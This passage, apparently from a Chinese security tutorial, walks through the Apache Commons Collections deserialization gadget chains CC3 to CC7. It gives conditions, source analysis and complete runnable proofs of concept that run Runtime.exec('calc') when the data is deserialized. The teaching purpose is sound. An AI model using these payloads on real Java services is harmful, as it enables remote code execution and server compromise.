import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;

import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;

public class App
{
    public static void main( String[] args ) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        //构造恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass Evil = pool.makeClass("Evil");
        Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String name = "Evil";
        Evil.setName(name);
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        CtConstructor constructor = Evil.makeClassInitializer();
        constructor.insertBefore(cmd);
        byte[] bytes =Evil.toBytecode();

        //通过反射使得_bytecodes=bytes
        TemplatesImpl tmpl = new TemplatesImpl();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(tmpl, new byte[][]{bytes});

        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(tmpl,"aaa");

        Field _class = TemplatesImpl.class.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(tmpl,null);

//        tmpl.newTransformer();

//        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl});
//        instantiateTransformer.transform(TrAXFilter.class);


        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
//        transformerChain.transform('a');

        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map,transformerChain);
//        lazyMap.get("a");

        TiedMapEntry tiedmapentry= new TiedMapEntry(lazyMap,"abc");
//        tiedmapentry.hashCode();

        Map expMap=new HashMap();
        expMap.put(tiedmapentry,"valuevalue");

        serialize(expMap);
        unserialize("ser.bin");


    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

CC4

条件:

commons-collections4: 4.0

jdk: <7u21

环境搭建:

<dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.22.0-GA</version>
    </dependency>
<dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-collections4</artifactId>
      <version>4.0</version>
</dependency>

CC4这条链子是CC2和CC3的结合,前半段用了CC2的PriorityQueue以及TransformingComparator,TransformingComparator本来应该调用InvokeTransformer的transform方法的,但是因为InvokeTransformer被ban掉了(CommonsCollections4 除4.0的其他版本去掉了 InvokerTransformer 的 Serializable 继承,导致无法序列化),所以用了CC3的chain,里面用的是InstantiateTransformer,用了InstantiateTransformer就必须要进行类实例的构造,也就和cc3后面一样了,也用了TrAXFilter来包装TemplatesImpl。

前面有分析了,这里就不再BB

这条链的前半段:

//构造恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass Evil = pool.makeClass("Evil");
        Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String name = "Evil";
        Evil.setName(name);
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        CtConstructor constructor = Evil.makeClassInitializer();
        constructor.insertBefore(cmd);
        byte[] bytes =Evil.toBytecode();

        //通过反射使得_bytecodes=bytes
        TemplatesImpl tmpl = new TemplatesImpl();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(tmpl, new byte[][]{bytes});

        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(tmpl,"aaa");

        Field _class = TemplatesImpl.class.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(tmpl,null);

//        tmpl.newTransformer();

//        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl});
//        instantiateTransformer.transform(TrAXFilter.class);


        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
        transformerChain.transform('a');

后半段是利用org.apache.commons.collections4.comparators.TransformingComparator的compare来调用这个transform()

然后就是CC2的内容了:

TransformingComparator transformingComparator= new TransformingComparator<>(transformerChain,null);
//        transformingComparator.compare("1","2");
        PriorityQueue queue = new PriorityQueue(2,transformingComparator);
        queue.add(1);
        queue.add(2);
        serialize(queue);
        unserialize("ser.bin");

调用链如下:

graph TB
A("java.util.PriorityQueue#\nreadObject()") --> B("java.util.PriorityQueue#\nheapify()")
B("java.util.PriorityQueue#\nheapify()")--> C("java.util.PriorityQueue#\nsiftDown()")
C("java.util.PriorityQueue#\nsiftDown()")-->D("java.util.PriorityQueue#\nsiftDownUsingComparator()")
D("java.util.PriorityQueue#\nsiftDownUsingComparator()")-->E("org.apache.commons.collections4.comparators.TransformingComparator#\ncompare()")
E("org.apache.commons.collections4.comparators.TransformingComparator#\ncompare()")-->F("org.apache.commons.collections4.functors.ChainedTransformer#\ntransform()")


F("org.apache.commons.collections4.functors.ChainedTransformer#\ntransform()")-->G("org.apache.commons.collections4.functors.InstantiateTransformer#\ntransform()\n和\norg.apache.commons.collections4.functors.ConstantTransformer#\ntransform()")
G("org.apache.commons.collections4.functors.InstantiateTransformer#\ntransform()\n和\norg.apache.commons.collections4.functors.ConstantTransformer#\ntransform()")-->H("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#\nTrAXFilter()")
H("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#\nTrAXFilter()")-->I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()")
I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()")-->J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()")
J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()")-->K("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()")
K("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()")-->L("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()")
L("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()")-->M("Runtime.getRuntime.exec")

完整的POC:

package org.example;
import java.io.*;
import java.lang.reflect.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;

public class App
{
    public static void main( String[] args ) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        //构造恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass Evil = pool.makeClass("Evil");
        Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String name = "Evil";
        Evil.setName(name);
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        CtConstructor constructor = Evil.makeClassInitializer();
        constructor.insertBefore(cmd);
        byte[] bytes =Evil.toBytecode();

        //通过反射使得_bytecodes=bytes
        TemplatesImpl tmpl = new TemplatesImpl();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(tmpl, new byte[][]{bytes});

        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(tmpl,"aaa");

        Field _class = TemplatesImpl.class.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(tmpl,null);

//        tmpl.newTransformer();

//        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl});
//        instantiateTransformer.transform(TrAXFilter.class);


        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
//        transformerChain.transform('a');

        TransformingComparator transformingComparator= new TransformingComparator<>(transformerChain,null);
//        transformingComparator.compare("1","2");
        PriorityQueue queue = new PriorityQueue(2,transformingComparator);
        queue.add(1);
        queue.add(2);
        serialize(queue);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

CC5

条件:

commons-collections:3.1-3.2.1

jdk1.8

因为jdk在1.8之后对AnnotationInvocationHandler类做了限制,所以在jdk1.8版本就必须找出能替代AnnotationInvocationHandler的新的可以利用的类,所以TiedMapEntry和BadAttributeValueExpException就被挖掘了出来

环境搭建:

<dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.1</version>
    </dependency>
    <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.22.0-GA</version>
    </dependency>

前面部分和CC1一样,这也不多BB了

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');

        Map map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,chainedTransformer);
        lazymap.get('s');

下一步寻找调用了get()的地方,还是找到了这个类org.apache.commons.collections.keyvalue.TiedMapEntry

public Object getValue() {
        return map.get(key);
    }

然后寻找调用getValue的地方

这个跟上面出现过的链子不同,这条链子不在用hashCode这个方法,而是用toString()

 public String toString() {
        return getKey() + "=" + getValue();
    }
TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
tiedmapentry.toString();

然后找调用了toString()的地方

然后就找到了这个类javax.management.BadAttributeValueExpException

public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

这个类的构造函数和readObject都可以调用toString(),如果使用的是构造函数触发,直接new BadAttributeValueExpException(tiedmapentry);就触发了,如果使用readObject()触发,这里需要通过反射给参数val赋值

再这个readObject中,需要控制valObj 的值为tiedmapentry, 而valObj的值来源于

ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

就是通过 ois.readFields() 方法获取一个 ObjectInputStream.GetField 对象,该对象可以读取对象的字段值,然后通过 gf.get("val", null) 方法获取字段名为 “val” 的字段值,如果该值为 null,将 val 设置为 null

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);//令val=null,再通过反射修改
Field val = BadAttributeValueExpException.class.getDeclaredField("val");
val.setAccessible(true);
val.set(badAttributeValueExpException,tiedmapentry);

serialize(badAttributeValueExpException);
unserialize("ser.bin");

POC1

完整的利用链如下:

graph TB
A("javax.management.BadAttributeValueExpException#\nreadObject()")-->B("org.apache.commons.collections.keyvalue.TiedMapEntry#\ntoString()")-->C("org.apache.commons.collections.keyvalue.TiedMapEntry#\ngetValue()")-->D("org.apache.commons.collections.map.LazyMap#\nget()")-->E("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()")-->F("org.apache.commons.collections.functors.InvokerTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()")-->G("Runtime.getRuntime.exec")

完整POC:

package org.example;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
public class App 
{
    public static void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');

        Map map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,chainedTransformer);
//        lazymap.get('s');

        TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
//        tiedmapentry.toString();
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedmapentry);

        serialize(badAttributeValueExpException);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }



}

POC2

上面poc1中已经到了ChainedTransformer,那就是可以不用InvokerTransformer这条链,可以修改一下走InstantiateTransformer–>TrAXFilter–>TemplatesImpl这条链

利用链:

graph TB
A("javax.management.BadAttributeValueExpException#\nreadObject()")-->B("org.apache.commons.collections.keyvalue.TiedMapEntry#\ntoString()")-->C("org.apache.commons.collections.keyvalue.TiedMapEntry#\ngetValue()")-->D("org.apache.commons.collections.map.LazyMap#\nget()")-->E("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()")-->F("org.apache.commons.collections.functors.InstantiateTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()")-->G("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter#\nTrAXFilter()")-->H("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nnewTransformer()")-->I("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ngetTransletInstance()")-->J("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\ndefineTransletClasses()")-->K("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#\nTransletClassLoader.defineClass()")-->L("Runtime.getRuntime.exec")

最终POC:

package org.example;
import java.io.*;
import java.lang.reflect.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import java.util.HashMap;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;

public class App
{
    public static void main( String[] args ) throws NotFoundException, CannotCompileException, IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        //构造恶意类
        ClassPool pool = ClassPool.getDefault();
        CtClass Evil = pool.makeClass("Evil");
        Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String name = "Evil";
        Evil.setName(name);
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        CtConstructor constructor = Evil.makeClassInitializer();
        constructor.insertBefore(cmd);
        byte[] bytes =Evil.toBytecode();

        //通过反射使得_bytecodes=bytes
        TemplatesImpl tmpl = new TemplatesImpl();
        Field bytecodes = TemplatesImpl.class.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(tmpl, new byte[][]{bytes});

        Field _name = TemplatesImpl.class.getDeclaredField("_name");
        _name.setAccessible(true);
        _name.set(tmpl,"aaa");

        Field _class = TemplatesImpl.class.getDeclaredField("_class");
        _class.setAccessible(true);
        _class.set(tmpl,null);

//        tmpl.newTransformer();

//        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl});
//        instantiateTransformer.transform(TrAXFilter.class);


        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{tmpl})
        };
        ChainedTransformer transformerChain = new ChainedTransformer(transformers);
//        transformerChain.transform('a');

        Map map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,transformerChain);
//        lazymap.get('s');

        TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
//        tiedmapentry.toString();
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedmapentry);

        serialize(badAttributeValueExpException);
        unserialize("ser.bin");

    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

CC6

条件:

commons-collections:3.1-3.2.1

jdk无限制

环境搭建:

<dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.1</version>
    </dependency>

前半部分是和前面的链子是相同的,不再分析

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');

        Map map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,chainedTransformer);
//        lazymap.get('s');

        TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
        tiedmapentry.hashCode();

和CC1的>8u71那条链子一样,使用了hashCode()来调用getValue()方法

public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

还是和CC1的>8u71那条链子一样,通过HashMap的hash方法来调用这个hashCode(),再使用put方法方法调用hash()

static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

不同的是这条链子使用的是HashSet的readObject来进行收尾,这个方法里调用了put方法,而且在属性定义可以知道这个map就是HashMap

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in any hidden serialization magic
    ........
        // Create backing HashMap
        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
                E e = (E) s.readObject();
            map.put(e, PRESENT);
        }
    }

按照目前的想法,构造的poc如下

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');
        Map map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,chainedTransformer);
//        lazymap.get('s');
        TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
//        tiedmapentry.hashCode();
//        HashMap hashMap = new HashMap();
//        hashMap.put(tiedmapentry, "test");
        HashSet hashset = new HashSet(1);
        hashset.add(tiedmapentry);
        
        serialize(hashset);
        unserialize("ser.bin");

但是这个写法会出现一个问题,程序运行时,在hashset.add(tiedmapentry);这里就触发执行了命令,因为这个add()里面调用了put方法

public boolean add(E e) {
        return map.put(e, PRESENT)==null;
    }

因为这里就触发了命令执行,执行命令后往后继续运行报错,没有走到序列化和反序列化的代码,所以要稍微修改一下

首先,在开头构造transformers链的时候先给一个无意义的链,让程序先执行

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};//无意义的链
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
//        chainedTransformer.transform('s');
Map map = new HashMap<>();
Map lazymap = LazyMap.decorate(map,chainedTransformer);
//        lazymap.get('s');
TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
//        tiedmapentry.hashCode();
//        HashMap hashMap = new HashMap();
//        hashMap.put(tiedmapentry, "test");
HashSet hashset = new HashSet(1);
hashset.add(tiedmapentry);

这样就不会执行命令了,

注意:要删除掉lazymap中的已经存在的key,否则不会进入get的if判断,导致利用链断裂

lazymap.remove("abc");
public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

然后再通过反射修改回真正的链

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )
        };
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(chainedTransformer, transformers);

利用链如下:

graph TB
A("java.util.HashSet#\nreadObject()")-->
B("java.util.HashMap#\nput()")-->
C("java.util.HashMap#\nhash()")-->
D("org.apache.commons.collections.keyvalue.TiedMapEntry#\nhashCode()")-->
E("org.apache.commons.collections.keyvalue.TiedMapEntry#\ngetValue()")-->
F("org.apache.commons.collections.map.LazyMap#\nget()")-->
G("org.apache.commons.collections.functors.ChainedTransformer#\ntransform()")-->
H("org.apache.commons.collections.functors.InvokerTransformer#\ntransform()\n和\norg.apache.commons.collections.functors.ConstantTransformer#\ntransform()")-->
I("Runtime.getRuntime.exec")

最后的POC:

package org.example;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
public class App
{
    public static void main(String[] args) throws ClassNotFoundException, IOException, IllegalAccessException, NoSuchFieldException {
        Transformer[] fakeTransformers = new Transformer[] {};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
//        chainedTransformer.transform('s');
        Map map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,chainedTransformer);
//        lazymap.get('s');
        TiedMapEntry tiedmapentry= new TiedMapEntry(lazymap,"abc");
//        tiedmapentry.hashCode();
//        HashMap hashMap = new HashMap();
//        hashMap.put(tiedmapentry, "test");
        HashSet hashset = new HashSet(1);
        hashset.add(tiedmapentry);
        lazymap.remove("abc");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(chainedTransformer, transformers);

        serialize(hashset);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

还可以像CC5一样走InstantiateTransformerTrAXFilter这条链,这里就不写了

CC7

条件:

commons-collections:3.1-3.2.1

jdk无限制

环境搭建:

<dependency>
      <groupId>commons-collections</groupId>
      <artifactId>commons-collections</artifactId>
      <version>3.1</version>
    </dependency>

前面部分和CC1的是一样的:

Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.class),
                new InvokerTransformer(
                        "forName",
                        new Class[] {String.class},
                        new Object[] {"java.lang.Runtime"}
                ),
                new InvokerTransformer(
                        "getMethod",
                        new Class[] {String.class,Class[].class},
                        new Object[] {"getRuntime",new Class[0]}
                ),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer(
                        "exec",
                        new Class[] {String.class},
                        new String[]{"calc"}
                )

        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform('s');

        Map map = new HashMap<>();
        Map lazymap = LazyMap.decorate(map,chainedTransformer);
        lazymap.get('s');

然后寻找调用get()的地方,前面的利用链中用的是AnnotationInvocationHandler类的invoke()或者TiedMapEntry类的getValue(),而这次用的是AbstractMap的equals方法,这个方法是用来比较两个对象是否相等的

public boolean equals(Object o) {
        if (o == this)
            return true;

        if (!(o instanceof Map))
            return false;
        Map<?,?> m = (Map<?,?>) o;
        if (m.size() != size())
            return false;

        try {
            Iterator<Entry<K,V>> i = entrySet().iterator();
            while (i.hasNext()) {
                Entry<K,V> e = i.next();
                K key = e.getKey();
                V value = e.getValue();
                if (value == null) {
                    if (!(m.get(key)==null && m.containsKey(key)))
                        return false;
                } else {
                    if (!value.equals(m.get(key)))
                        return false;
                }
            }
        } catch (ClassCastException unused) {
            return false;
        } catch (NullPointerException unused) {
            return false;
        }

        return true;
    }

这个方法调用了m.get(key),其中m是来自Map<?,?> m = (Map<?,?>) o; ,而 o 是传入的参数,可控,但是需要过三个if判断

然后寻找哪个地方调用了equals

这里使用的是HashTable的reconstitutionPut方法

